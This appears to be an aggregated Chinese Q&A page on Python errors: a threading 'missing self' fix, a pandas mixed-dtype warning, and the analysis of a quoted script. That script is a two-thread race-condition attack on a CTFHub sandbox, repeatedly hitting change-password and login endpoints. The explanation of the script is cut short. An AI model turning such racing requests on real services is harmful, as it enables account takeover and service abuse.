MyThread.run() missing 1 required positional argument: 'self'
时间: 2023-12-08 12:39:29 浏览: 174
这个错误通常是因为在调用MyThread类的run()方法时,没有正确地传递self参数。正确的方法是创建MyThread类的实例,然后调用该实例的start()方法,而不是直接调用MyThread类的run()方法。以下是一个示例代码:
```python
import threading
import time
class MyThread(threading.Thread):
def run(self):
for i in range(5):
time.sleep(1)
msg = "IM " + self.name + "@ " + str(self)
print(msg)
if __name__ == "__main__":
t = MyThread()
t.start()
```
在这个示例中,我们首先创建了一个MyThread类的实例t,然后调用了t.start()方法来启动线程。这将自动调用MyThread类的run()方法,并正确地传递self参数。
相关问题
DtypeWarning: Columns (0,2) have mixed types. Specify dtype option on import or set low_memory=False. threads = [executor.submit(MyThread(df).run) for df in df_iterator] Error: DataFrame.apply() missing 1 required positional argument: 'func'
这个错误可能是由于你的数据框中的列具有不同的数据类型。可以尝试指定数据类型,或者在导入时使用`low_memory=False`参数来解决此问题。
例如,可以使用`astype()`方法将数据类型转换为指定的类型。
```
df['column_name'] = df['column_name'].astype('data_type')
```
在导入时,可以使用以下代码:
```
pd.read_csv('file.csv', low_memory=False)
```
如果您使用的是apply()函数,请确保传递了一个函数作为参数,例如:
```
df.apply(lambda x: my_function(x['column_name']), axis=1)
```
import requests import threading s = requests.session() class MyThread(threading.Thread): def __init__(self, item): threading.Thread.__init__(self) self.item = item def run(self): main(self.item) def main(args): if args == 1: while True: ur11 = 'http://challenge-9cbc3fe3498481c8.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456' c = s.get(ur11).content else: while True: url2 = 'http://challenge-9cbc3fe3498481c8.sandbox.ctfhub.com:10800/login_check.php?passwd=123456' # c11 = s.get(url2, data={' passwd': 111}).content c1 = s.get(url2) print(c1.text) if __name__ == '__main__': t1 = MyThread(1) t2 = MyThread(2) t1.start() t2.start()分析以下以上python程序
这段代码是用 Python 编写的,使用了 requests 和 threading 两个模块。它定义了一个名为 MyThread 的类,这个类继承了 threading.Thread 类,并实现了一个 run 方法。接着定义了一个名为 main 的函数,用于执行某些操作。整个程序的逻辑是:如果传入的参数 args 是 1,就会不断地向一个网址发起请求,将密码改为 123456。
阅读全文